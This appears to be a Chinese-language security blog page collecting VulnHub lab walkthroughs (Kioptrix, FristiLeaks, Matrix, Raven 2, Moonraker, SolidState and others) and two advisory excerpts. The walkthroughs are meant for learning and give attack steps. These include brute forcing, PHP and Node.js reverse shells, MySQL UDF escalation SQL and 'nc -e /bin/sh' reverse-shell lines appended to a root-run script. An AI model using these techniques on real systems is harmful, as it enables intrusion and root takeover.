歡迎光臨
我們一直在努力

Vulnhub x Kioptrix: Level 1 (#1)

波波閱讀(1822)

VulnHub是一個面向所有人開放的安全靶場,裡面有很多安全環境,只要下載相關映像檔,在相關虛擬機器上面執行就可以練習相關靶場了。裡面設計了好多關,如果有耐心一定可以到達峰頂。許多考OSCP人員,也會利用Vulnhub靶場進行刷題。我們下載了一個經典漏洞靶場,給大家進行演示,希望讓初學者知道滲透測試的套路,可以更快的成長。

這題透過nmap完整掃描該主機服務後,發現開啟139 port,而139 port就是Samba,於是透過Samba  - Remote Code Execution 來取得主機root權限,成功得到flag

靶機:Kioptrix: Level 1 (#1)

首先,先查詢自己本地的IP,可以透過 ifconfig查詢。

eth0 192.168.43.119 這是本地IP ,同時也是攻擊者端

使用nmap -sP,透過Ping方式來掃描該網段其他主機,並可發現標的端為 192.168.43.54

找到標的端後,接著使用 nmap -A 完整掃描,並搭配 -p 0-65535 掃描全部的port

發現該主機 開啟 22 port、80 port、111 port、139 port、443 port、1024 port

因為有80 443 port,於是我們掃描下 網頁目錄,看看能夠發現什麼

使用Dirb 快速掃描下。

可惜並沒意外收穫,查看網站頁面也只是個Testing頁面而已,看起來不像可利用的點

於是我們將戰場轉移至 139 port,Samba  是個常見的點,引起了我的興趣,我們可以嘗試利用它。

經過exploit-db搜尋後,找到這個Samba < 2.2.8 (Linux/BSD) - Remote Code Execution,我們下載下來,在Kali端gcc編下,然後執行。

./poc -b 0 192.168.43.54,便可成功取得root權限。Lucky!

進入到/root目錄,發現flag並不在該目錄下,失望。

於是翻了下 /var/www、/tmp、/home、/var/mail

最後在mail目錄下,發現了個root,於是趕緊 cat root,便成功得到flag了。

然而這只是第一關而已,這道題總共有四關,後面文章會再分享。

結束。

Vulnhub x FristiLeaks 1.3

波波閱讀(873)

VulnHub是一個面向所有人開放的安全靶場,裡面有很多安全環境,只要下載相關映像檔,在相關虛擬機器上面執行就可以練習相關靶場了。裡面設計了好多關,如果有耐心一定可以到達峰頂。許多考OSCP人員,也會利用Vulnhub靶場進行刷題。我們下載了一個經典漏洞靶場,給大家進行演示,希望讓初學者知道滲透測試的套路,可以更快的成長。

這題猜測網站路徑後,隱藏在原始碼裡的base64,得知upload頁面,接著上傳Reverse shell php,進入主機查看.bash_history,進行提權,取得root。

靶機:FristiLeaks 1.3

首先,先查詢自己本地的IP,可以透過 ifconfig查詢。

eth0 192.168.44.136 這是本地IP ,同時也是攻擊者端

透过nmap -sP,使用Ping來快速掃描當前網段主機。

得知該標的端為 192.168.44.139

透過nmap -A 完整掃描該主機服務,並掃描端口 0 - 65535。

發現只開啟了80 port,Apache 2.2.15版,系統為CentOS

使用Dirb掃描該網站頁面,除robots.txt外,沒其他資訊。

經一番搜尋後,實在找不到可利用的頁面,而robots.txt提供的路徑也只是一張圖片,最後嘗試輸入該網站標題fristileaks、fristi,才成功找到新的頁面,非常腦洞。

可以看到有個登入框,嘗試用SQLMAP與弱密碼爆破,沒有成功。

於是查看下網頁原始碼,可以看到有個提示,且 by eezeepz,看起來像是管理員留下的,這是個好資訊,非常大的機會是 管理員帳號。

在原始碼頁面下,可以看到一串base64,拿去decode。

decode回來,可以看到PNG開頭的字串,其實這是一張圖片。

於是我們要將這串base64還原成一張png圖檔。

將base64複製到txt檔後,我們直接base64 -d 轉換成 png檔,接著直接查看該圖檔

顯示 keKkeKKeKKeKkEkkEk ,極可能為 管理員密碼。

於是在剛才的登入框,帳號:eezeepz  密碼:keKkeKKeKKeKkEkkEk

便成功登入,顯示upload file,看起來是可以上傳檔案的頁面。

上傳檔案,立刻就想到上傳php shell,圖片木馬。

我們可以使用該 reverse shell來上傳

上傳php後,顯示只能上傳 png、jpg、gif圖片檔,於是我們將php-reverse-shell.php改為php-reverse-shell.php.jpg,重新上傳。

成功上傳後,訪問/uploads目錄,即可成功反彈shell。

透過nc 監聽 4444 port ,並訪問reverse shell。

在/var/www目錄下,發現有個note.txt檔案,經查看後

可以使用 chmod, df, cat, echo, ps, grep, egrep命令,並需在tmp下放置個runthis文件

於是我們使用echo

echo "/home/admin/chmod -R 777 /home/admin/" > /tmp/runthis

然後訪問/home/admin目錄

在目錄下,可以看到兩個txt檔案,經查看後,發現看起來像是base64,但被動過手腳了

用python將txt文本的字串轉換下。

得到兩組字串,其中 LetThereBeFristi! 為 密碼

我們換一下用戶 ,su - fristigod

密碼為 LetThereBeFristi!

接著進入到 var/fristigod目錄下,並查看.bash_history檔案,該檔案可看到之前的紀錄。

可以看到 用了一大串的 sudo -u fristi /var/fristigod/secret_admin_stuff

都是透過 sudo 來執行

我們嘗試用 sudo -l 測試下

<REDACTED>
User fristigod may run the following commands on this host:
(fristi : ALL) /var/fristigod/.secret_admin_stuff/doCom

於是我們繼續輸入

sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom id

發現成功提權為 root

接著進入到 /root目錄下,查看 fristileaks_secrets.txt

成功得到flag。

結束。

Vulnhub x Matrix: 1

波波閱讀(1061)

VulnHub是一個面向所有人開放的安全靶場,裡面有很多安全環境,只要下載相關映像檔,在相關虛擬機器上面執行就可以練習相關靶場了。裡面設計了好多關,如果有耐心一定可以到達峰頂。許多考OSCP人員,也會利用Vulnhub靶場進行刷題。我們下載了一個經典漏洞靶場,給大家進行演示,希望讓初學者知道滲透測試的套路,可以更快的成長。

這題主要透過網頁原始碼找到base64編碼後的字串,在取得檔案,而檔案使用brainfuck,再將brainfuck to text後,使用mp64工具列舉密碼,再結合hydra爆破ssh,進入到該主機後,因系統環境變量配置問題,需逃脫受限制的shell,最後提權為root權限,取得flag。

靶機:Matrix: 1

首先,先查詢自己本地的IP,可以透過 ifconfig查詢。

eth0 192.168.44.136 這是本地IP ,同時也是攻擊者端

老方法,我們透過nmap -sP方式,以Ping快速掃描當前內網其他主機。

得知該標的物端為192.168.44.145

繼續透過 nmap -A,完整掃描該主機服務,再透過 -p 0-65535方式 掃描該主機的 所有Port。

得知該主機開啟22 port、80 port、31337 port

有80 port代表有網站,我們可以透過Dirb掃描子目錄,不過這題可直接從首頁原始碼查看到提示訊息p0rt_31337.png,看起來就像 port 31337,於是我們嘗試訪問31337 port。

從31337 port頁面原始碼可看到一串編碼過的字串,其實這串就是base64。

為甚麼知道是base64? 因為直覺。其實因為看到這串亂碼後面有 = ,所以第一直覺就會想到base64。

透過base64 decode後,我們得到一個字串Cypher.matrix

看起來像是某個檔案,於是我們訪問下。

開啟該檔案,會得到一串編碼? 加密? 過的訊息。

其實這是brainfuck語言,有在打CTF的人應該不陌生,第一眼直覺就能看出來了。CTF很常見。

所以將該語言轉text就行。

透過text轉換後,得到一串明文,告訴我們帳號為 guest,密碼為 k1ll0r?? ,後兩碼我們得自己猜測。

於是我們透過 kail系統內建的 mp64工具,然後將 k1ll0r?? 後兩碼自動填補。

例如 k1ll0r00、k1ll0r01、k1ll0r02、k1ll0r03,以此類推,生成一個字典檔。

生成的wordlist字典檔長這樣,完整的列舉出所有可能性。

接著我們可以透過 hydra來進行字典檔爆破,看wordlist裡的字典檔哪一個是密碼。

最後得知k1ll0r7n為ssh密碼。

有了guest帳號密碼後,便可進行ssh登入。

但登入後發現很多簡單的指令都無法下,於是我們需要檢查一下該系統環境是不是有問題。

我們透過export指令,幫助我們查看系統環境變量,其中可看到 PATH跟SHELL有點小問題,bash被限制住了。

我們透過echo 查看下 prog底下目錄,發現有個vi,這讓我們聯想到了似乎可以利用一下vi。

我們輸入 vi ,然後在離開vi。以:!/bin/bash方式離開。

接著我們可以透過export PATH=/usr/bin:/bin/ 來配置下路徑變量,這樣我們就可以正常使用指令了。

然後在 sudo su提權至root權限,密碼一樣為 k1ll0r7n ,成功登入至root後,我們進入到/root目錄下,然後 cat flag.txt,便可得到flag。

結束。

Vulnhub x Typhoon: 1.02

波波閱讀(785)

VulnHub是一個面向所有人開放的安全靶場,裡面有很多安全環境,只要下載相關映像檔,在相關虛擬機器上面執行就可以練習相關靶場了。裡面設計了好多關,如果有耐心一定可以到達峰頂。許多考OSCP人員,也會利用Vulnhub靶場進行刷題。我們下載了一個經典漏洞靶場,給大家進行演示,希望讓初學者知道滲透測試的套路,可以更快的成長。

靶機:Typhoon: 1.02

這題靶機漏洞非常多,這邊介紹其中一個點。

首先,先查詢自己本地的IP,可以透過 ifconfig查詢。

eth0 192.168.44.136 這是本地IP ,同時也是攻擊者端

使用nmap -sP ,透過ping 快速掃描當前網段的其他主機,結果可發現標的端為 192.168.44.144

使用nmap -A 完整掃描該主機服務。

該主機開啟21 port、22 port、25 port、53 port、80 port、110 port、111 port、139 port、143 port、445 port、3306 port、5432 port、8080 port、27017 port等 

透過Dirb掃描,發現幾個感興趣的目錄,如/cms、/drupal、/phpmyadmin、robots.txt等

從/robots.txt可發現該mongoadmin地址,且無須驗證即可查看,進入資料庫查看發現該主機ssh的帳號密碼

帳號 typhoon

密碼789456123

ssh成功登入主機後,透過id查看當前用戶,並uname -a查看主機版本資訊,可發現該Linux Kernel 版本為 3.13.0 舊版

於是可直接透過overlayfs 來提權。

先進入到 /tmp目錄後,下載該exploit,然後透過gcc編譯下,後執行。

便成功提權為root。

接著進入到 /root目錄後,即可得到flag。

結束。

 

Vulnhub x Raven: 2

波波閱讀(978)

VulnHub是一個面向所有人開放的安全靶場,裡面有很多安全環境,只要下載相關映像檔,在相關虛擬機器上面執行就可以練習相關靶場了。裡面設計了好多關,如果有耐心一定可以到達峰頂。許多考OSCP人員,也會利用Vulnhub靶場進行刷題。我們下載了一個經典漏洞靶場,給大家進行演示,希望讓初學者知道滲透測試的套路,可以更快的成長。

靶機:Raven: 2

首先,先查詢自己本地的IP,可以透過 ifconfig查詢。

eth0 192.168.44.136 這是本地IP ,同時也是攻擊者端

透過nmap工具,使用-sP,Ping方式來快速掃描該網段上的其他主機。

結果可發現 該標的物為 192.168.44.142

找到標的端後,繼續使用nmap -A,完整掃描該主機服務。

結果顯示開啟 22 port 、80 port 、111 port 、57923 port

因為有 80 port,於是我們使用Dirb工具掃描網站目錄

發現有wordpress、vendor 幾個目錄。

查看vendor,有幾個檔案引起了我的興趣,PATH、PHPMailerAugoload.php、Version

於是我們查看PATH,發現得到了第一個Flag。

PHPMailerAugoload.php 讓我想到了CVE 2016-10033,而查看Version後,發現版本是 5.216。

PHPMailer < 5.2.18 - Remote Code Execution  我們可以利用此Exploit來進行RCE

透過 nc 監聽 4444 port後,我們執行Exploit,然後訪問shell,即可成功反連回來。

查看id 用戶 是 www-data,而在/var/www目錄下找到第二把Flag。

記得,我們前面透過Dirb掃描時,有找到Wordpress,而Wordpress底下有個wp-config.php設定檔,可以查看此設定檔找到資料庫的帳號密碼。

然後透過MySQL UDF提權 ,UDF提權老方法,這邊就不多贅述了。

這邊使用do_system,之後可以用find來執行命令

create table test1(line blob);
insert into test1 values(load_file('/tmp/1518.so'));
select * from test1 into dumpfile '/usr/lib/mysql/plugin/1518.so';
create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');

建立個目錄raj,然後透過 find 來執行命令,即可成功提權。

touch raj
find raj –exec "whoami" ;
find raj –exec "/bin/sh" ;

直接訪問 /root目錄後,成功找到第四把flag。

目前已找到 flag1 flag2 flag4 ,還缺 flag3。

於是我們直接透過 find 搜尋關於flag的資訊。

可以看到 flag3 藏在 wordpress底下的目錄

訪問該目錄png後,成功取得flag3。

結束。

Vulnhub x Moonraker: 1

波波閱讀(1706)

VulnHub是一個面向所有人開放的安全靶場,裡面有很多安全環境,只要下載相關映像檔,在相關虛擬機器上面執行就可以練習相關靶場了。裡面設計了好多關,如果有耐心一定可以到達峰頂。許多考OSCP人員,也會利用Vulnhub靶場進行刷題。我們下載了一個經典漏洞靶場,給大家進行演示,希望讓初學者知道滲透測試的套路,可以更快的成長。

靶機:Moonraker: 1

首先,先查詢自己本地的IP,可以透過 ifconfig查詢。

eth0 192.168.44.136 這是本地IP ,同時也是攻擊者端

透過 namp -sP,使用Ping方式快速掃描該網段的其他主機。

發現該標的端為192.168.44.140

找到標的後,使用nmap -A來完整掃描,並可發現開啟了22 port 、80 port 、3000 port

於是可從 80 port網頁端下手。

有了站點目標,第一步就是要先蒐集資訊,使用Dirb,掃描網站目錄。

不過這邊掃描結果,看起來沒什麼有趣的點

直接進到首頁,發現背景是個影片,但過幾秒後,就會跳轉到下一個頁面了。

首頁自動跳轉進入到moonraker.html,總共有三個選項,分別是 Home、Services、Blog

經一番搜尋後,發現Services頁面底下有個功能 SEND AN INQUIRY ,於是點擊進入查看

根據頁面顯示說,5分鐘內會檢查一次,第一直覺以為是要XSS過去,等待管理員檢查後,再傳回訊息回來,

嘗試了很久最後發現用<img src> 傳送過去,等5分鐘後 才收到Log

在這邊顯示已成功傳送出去,但需要等約5分鐘,等待標的端檢查

5分鐘後,檢查apache log,可以看到標的主機訪問了我們的123.txt,並傳回一個網址路徑。

透過訪問該路徑,左上角有個 Back to Sales Admin Interface,是個管理員介面

進入到管理員介面後,第一眼看到CouchDB,這是我們接下來可以嘗試的點。

在其他頁面(Hugo's page moved to port 3k),可以看到 var serialize = require('node-serialize');

看起來是可以利用 node.js的反序列化漏洞

在CouchDB Notes頁面,可以看到有個提示,Jaws'的密碼是 他女朋友名字+x99

透過Google 搜尋下 Jaws' girlfriend ,可以看到Jaw's的女朋友是 Dolly,而密碼就是 Dollyx99

Google了解下CouchDB後,知道CouchDB 是 5984 port,而目錄是 _utils ,於是便直接訪問。

接著需要輸入帳號密碼,帳號就是剛才得知的,jaws,密碼為 dollyx99

進入到後臺介面後,可以看到有三個表,分別是 _replicator、_users、links

在link表下分別有4個欄位,一一查詢

每個欄位下都有 提示 link,可以直接訪問。

在/HR-Confidential/offer-letters.html目錄下,可以看到有5個選項,分別進入查看。

在Offer Letter: HUGO下,可以看到有帳號密碼,其他的頁面同樣也有其他帳號密碼。

現在,我們將蒐集到的資訊整理出來,總共得到了四組帳號密碼,並嘗試登入 ssh,但發現都失敗,所以只好先保留著,看看還有沒有其他點。

在 /HR-Confidential/moonraker_hugo.pdf ,最下面提示可以訪問 3000 port,於是我們轉向該服務查看。

顯示需要輸入帳號密碼,於是我們帳號輸入hugo 密碼TempleLasersL2K,即可成功登入。

還記得我們在前面有提到,有個Node.js反序列化漏洞嗎?

透過 Burp,我們可以看到 Cookie:profile=eyJ1c2VybmFtZSI6Imh1Z28ifQ%3D%3D ,這邊就是我們接下來可利用的點。

接下來我們透過 node.js反序列化的腳本 生成一個 Reverse shell

然後按照【漏洞分析】利用Node.js反序列化的漏洞执行远程代码(含演示视频)教學,將生成的Payload base64 encode後,貼到 profile。

並且在Kali主機端,透過 nc 監聽 4444 port,等待shell連回來。

Payload送出後,即可看到shell連接成功,並下id、uname -a,ls,查看當前標的端資訊。

發現是 jaws用戶,系統為Debian

經一番搜尋後,最後在/var/mail下發現有四個檔案,但因為權限不夠,所以無法查看。

於是得想辦法提權。

記得這個主機有用到CouchDB,每個訊息都很重要,切記。

於是我們轉向戰場,嘗試訪問 couchdb的local.ini,看有沒有敏感資料。

果真,得到了hugo用戶的帳號密碼。

有了hugo用戶後,我們su hugo 將使用者提升為hugo,並查看 hugo文件,

上半段顯示 root 密碼被has過,且密碼後面為 "password"+VR00M

下半段看到被hash過的密碼,所以得想辦法解開。

我們透過 john 工具 進行爆破後,成功解開,密碼為 cyber。

於是密碼為 cyberVR00M

有了root帳號密碼,勝利就在眼前。

提權為root,su root

id 顯示結果,我們成功提權到root權限了。

只差一步了,訪問 /root目錄,透過 ls 查看當前目錄後,可以看到 flag.txt

於是直接 cat flag.txt,flag就出來了。

結束。

Remote Code Execution in apt/apt-get

波波閱讀(772)

原文地址:https://justi.cz/security/2019/01/22/apt-rce.html

tl;dr I found a vulnerability in apt that allows a network man-in-the-middle (or a malicious package mirror) to execute arbitrary code as root on a machine installing any package. The bug has been fixed in the latest versions of apt. If you’re worried about being exploited during the update process, you can protect yourself by disabling HTTP redirects while you update.

前言引用來源:https://justi.cz/security/2019/01/22/apt-rce.html
文章圖片來源:https://justi.cz/security/2019/01/22/apt-rce.html

-------------------
如果你認同我們每日分享的文章,請幫我們按個讚並且點擊追蹤「搶先看」,讓我們提供最新消息給您!您的分享及點讚,是我們持續推廣資訊安全最大的動力來源。
https://www.facebook.com/LonelyPoPo/

Abusing Exchange: One API call away from Domain Admin

波波閱讀(890)

原文地址:https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

In most organisations using Active Directory and Exchange, Exchange servers have such high privileges that being an Administrator on an Exchange server is enough to escalate to Domain Admin. Recently I came across a blog from the ZDI, in which they detail a way to let Exchange authenticate to attackers using NTLM over HTTP. This can be combined with an NTLM relay attack to escalate from any user with a mailbox to Domain Admin in probably 90% of the organisations I’ve seen that use Exchange. This attack is possible by default and while no patches are available at the point of writing, there are mitigations that can be applied to prevent this privilege escalation. This blog details the attack, some of the more technical details and mitigations, as well as releasing a proof-of-concept tool for this attack which I’ve dubbed “PrivExchange”.

前言引用來源:https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/
文章圖片來源:https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/

-------------------
如果你認同我們每日分享的文章,請幫我們按個讚並且點擊追蹤「搶先看」,讓我們提供最新消息給您!您的分享及點讚,是我們持續推廣資訊安全最大的動力來源。
https://www.facebook.com/LonelyPoPo/

Vulnhub x FourAndSix: 1

波波閱讀(960)

VulnHub是一個面向所有人開放的安全靶場,裡面有很多安全環境,只要下載相關映像檔,在相關虛擬機器上面執行就可以練習相關靶場了。裡面設計了好多關,如果有耐心一定可以到達峰頂。許多考OSCP人員,也會利用Vulnhub靶場進行刷題。我們下載了一個經典漏洞靶場,給大家進行演示,希望讓初學者知道滲透測試的套路,可以更快的成長。

靶機:FourAndSix: 1

首先,先查詢自己本地的IP,可以透過 ifconfig查詢。

eth0 192.168.44.136 這是本地IP ,同時也是攻擊者端

接著我們透過nmap工具,使用參數-sP,透過Ping的方式來快速尋找當前網段的其他主機

找到標的物端(192.168.44.139)後,接下來繼續使用Nmap掃描該主機開啟的相關服務。

使用#Nmap -A 192.168.44.139,-A 是完整掃描的意思。

發現開啟了22 port 、111 port、726 port 、2049 port,沒有80與443 port,且經瀏覽器訪問該標的IP也無法訪問,所以這題靶機初步判斷是沒有網站的。於是可以嘗試從其他服務下手。

22 port 是SSH登入,一般可能會尋找相關OpenSSH版本號的CVE 或 暴力破解登入

值得注意的是 2049 port nfs服務,這邊引起了我的興趣。

我們可以對它進行Showmount來查看該標的的共享文件。

#showmount -e 192.168.44.139

結果顯示出來,該mount掛載路徑為 /home/user/storage,且看起來是everyone,任何人都可以掛載的樣子。

於是我們先建立一個暫存目錄 #mkdir test,然後透過mount將 標的端主機的/home/user/storage 掛載到我們攻擊端Kali主機上的 test目錄下。

#mount -t nfs 192.168.44.139:/home/user/storage test

然後進入 test目錄後,查看當前目錄檔案 ls ,發現存在 backup.7z,經解壓縮後發現需要解壓縮密碼,

於是可以使用爆破腳本來解開密碼,字典檔使用Kali上的rockyou.txt字典檔。

#./7z-crack.sh backup.7z /usr/share/wordlists/rockyou.txt

幾秒鐘後,結果出來了,壓縮檔密碼為 chocolate

於是將壓縮檔密碼解開後,發現有許多圖檔與id_rsa、id_rsa.pub。

而id_rsa.pub看起來像是 ssh登入會使用到的。

透過cat命令 查看id_rsa.pub檔案,在最後一段可以看到 [email protected] ,看起來像是該標的端主機的帳號

因為ssh登入該標的端,會需要輸入密碼

#ssh -i id_rsa [email protected]

所以我們也嘗試爆破下id_rsa的文件密碼

使用id_rsa爆破腳本,字典檔一樣使用rockyou.txt

#./rsa_crack.sh id_rsa /usr/share/wordlists/rockyou.txt

馬上可以發現,密碼為12345678

有了ssh密碼後,接下來就可以直接登入了

#ssh -i id_rsa [email protected]

password:12345678

登入主機後,先簡單蒐集下資訊,透過id、uname -a等命令,查看當前用戶與系統資訊,也可檢查下 /etc/passwd

經一番搜尋後,最後發現該主機使用了doas服務,什麼是doas ? 不懂的可以看下這篇

大概就是用來取代sudo的。

查看下 /etc/doas.conf,大概就是說可用doas提權到root,然後從/usr/bin/less訪問到/var/log/auth.log的檔案,一種可以提權的味道。

於是我們透過doas,doas /usr/bin/less /var/log/authlog,然後按下鍵盤 v 後 輸入 !sh 離開。

接著就可以查看下當前用戶 id,成功提權到 root 了

成功就在眼前,進入到/root目錄,發現有flag.txt,於是直接 cat flag.txt。

flag出現了。

結束。

 

 

Vulnhub x SolidState: 1

波波閱讀(1582)

VulnHub是一個面向所有人開放的安全靶場,裡面有很多安全環境,只要下載相關映像檔,在相關虛擬機器上面執行就可以練習相關靶場了。裡面設計了好多關,如果有耐心一定可以到達峰頂。許多考OSCP人員,也會利用Vulnhub靶場進行刷題。我們下載了一個經典漏洞靶場,給大家進行演示,希望讓初學者知道滲透測試的套路,可以更快的成長。

靶機:SolidState: 1

首先,先查詢自己本地的IP,可以透過 ifconfig查詢。

eth0 192.168.44.136 這是本地IP ,同時也是攻擊者端

接著我們透過 nmap這款工具,可以快速系統掃描,並查找當前內網的其他主機及服務。

nmap -A 192.168.44.0/24 ,查詢該網段底下的主機,發現標的物為 192.168.44.137 主機。

接著透過 nmap 掃描該標的物主機使用了哪些服務,可以透過nmap 192.168.44.137 -sV -p 0-65535

掃描 0-65535 Port中,使用哪些。

發現該主機開啟了 22、25、80、110、119、4555 Port,並且STATE狀態都為 open。

而後面Version為該服務版本號,我們可以將蒐集到的資訊,一一作為查詢是否存在漏洞,

例:james-admin JAMES Remote Admin 2.3.2,透過exploit-db可以找到這篇RCE漏洞

在滲透測試過程中,前期一定要先做好情報蒐集,例如該網站/主機提供了什麼樣的服務/功能 ? 使用什麼語言開發? 哪些框架? 版本號? 子目錄? 子域名? 等

除了nmap對主機進行探測外,我們還可以嘗試對網站進行掃描下,

使用Dirb,該工具是使用字典檔來進行網站探測目錄,是個很方便的工具

在現實生活中,很多網站可以透過robots.txt、/.git /.svn等方式來尋找網站的敏感資訊,甚至是網站後台、原始碼等

這邊只有 images目錄、index.html,沒什麼資訊可利用。

於是直接訪問網站,查看下提供了哪些功能 ? 可能存在什麼漏洞 ? 例:XSS、SQL Injection等

網站逛過一遍後,發現基本上都是html,沒什麼可輸入、可互動的功能,唯獨只有看到這個像是Email聯繫的功能。

在這邊一開始以為有沒有可能是要透過 XSS來拿 admin的資料,但嘗試了下 看起來不是。

既然網站感覺沒有功能可以打,也沒蒐集到可利用的資訊,於是我們轉移目標,放到一開始nmap所掃描的服務上。

將每個服務都Google查詢一遍後,發現James Server 2.3.2存在漏洞,於是我們就往這個點打。

首先 nc 連到該主機標的,帳號密碼嘗試用弱密碼/預設密碼猜測,例:root/root,admin/admin 等。

root 成功登入後,下指令help查詢下,看看提供什麼指令可以操作。

發現listusers,看起來是 列出使用者,adduser為添加使用者,setpassword為重設密碼

透過listusers,可以看到有 james、thomas、john、mindy、mailadmin用戶。

../../../../../../../../etc/bash_completion.d 是我在練習時,透過exploit 添加上去的,這邊可以暫時先忽略。

有了使用者帳號後,但因為不知道使用者密碼,於是可以透過setpassword來更改密碼,

setpassword mindy lonelypopo

依序將每位使用者密碼都暫時修改為 lonelypopo,方便之後可以利用。

修改完密碼後,接著嘗試連接 pop3服務

telnet 192.168.44.137 110

也是依序將每位使用者都登入看看,然後查詢/蒐集下有什麼機敏資料。

最後在mindy使用者上 查詢retr 2後發現該標的主機的ssh帳號密碼。

你問我為什麼知道是ssh的帳號密碼? 原因很簡單,將蒐集到的資訊,每個服務都嘗試登入看看就知道了。

Username:mindy

Password:[email protected][email protected]

接著就可以直接ssh [email protected] 登入該標的主機了。

在當前目錄下 ls ,發現有 第一關 user.txt的 flag,於是直接 cat user.txt。

拿到第一把flag。

不過由於mindy不是root權限,無法訪問/root目錄,也無法查看root.txt,所以接下來的步驟得想辦法提權到root。

接下來,我們使用前面提到的Exploit並修改下Payload,

原:payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # to exploit only on root

改:payload = 'nc -e /bin/sh 192.168.44.136 8000' # to exploit only on root

就是要Reverse Shell,反彈回來到本地上,之後比較方便操作。

然後在Kali 本地上 透過nc 監聽 8000 port,當執行exploit後,在ssh到該標的主機上,shell就會反連回來了。

視窗一 python exp.py 192.168.44.137

視窗二 ssh [email protected]

視窗三 nc -lvp 8000

反彈回來後,習慣切換到交互式操作視窗,比較方便操作。

python -c 'import pty;pty.spawn("/bin/bash")'

因為要想辦法提升到root權限來讀取root.txt,所以當打下主機後(低權限),就是要開始蒐集資訊,查看主機內的哪些process是透過root執行,哪些服務是root權限等等之類的。

可以使用ps aux來查看

而經過一番查詢後,ps aux | grep james

看到/opt目錄下 james-2.3.2,感覺就是可以打的點。

在/opt目錄下 透過 ls -al,可以查看到有 james-2.3.2 及 tmp.py

可以查看下 tmp.py裡邊的程式碼,看看能不能修改。

rm -r /tmp/* ,刪除/tmp底下的檔案,於是我們到/tmp底下,隨便新增一個目錄,然後執行tmp.py,查看是否可以成功執行。

因為shell壞掉,無法直接vi修改,但發現可以透過echo方式來添加進去

echo "os.system('/bin/nc -e /bin/bash 192.168.44.137 8082')" >> tmp.py

接著 nc -vlnp 8082 ,透過nc 監聽8082 Port,等待Shell反連回來。

剛才透過echo寫入 tmp.py後,我們可以直接 cat tmp.py 讀取tmp,這時候shell就會成功反連回來了。

成功反彈shell後,透過id查看下當前用戶是 root,於是成功提權了。

cat root.txt,讀取第二把flag。

結束。

 

波波的寂寞世界

Facebook聯繫我們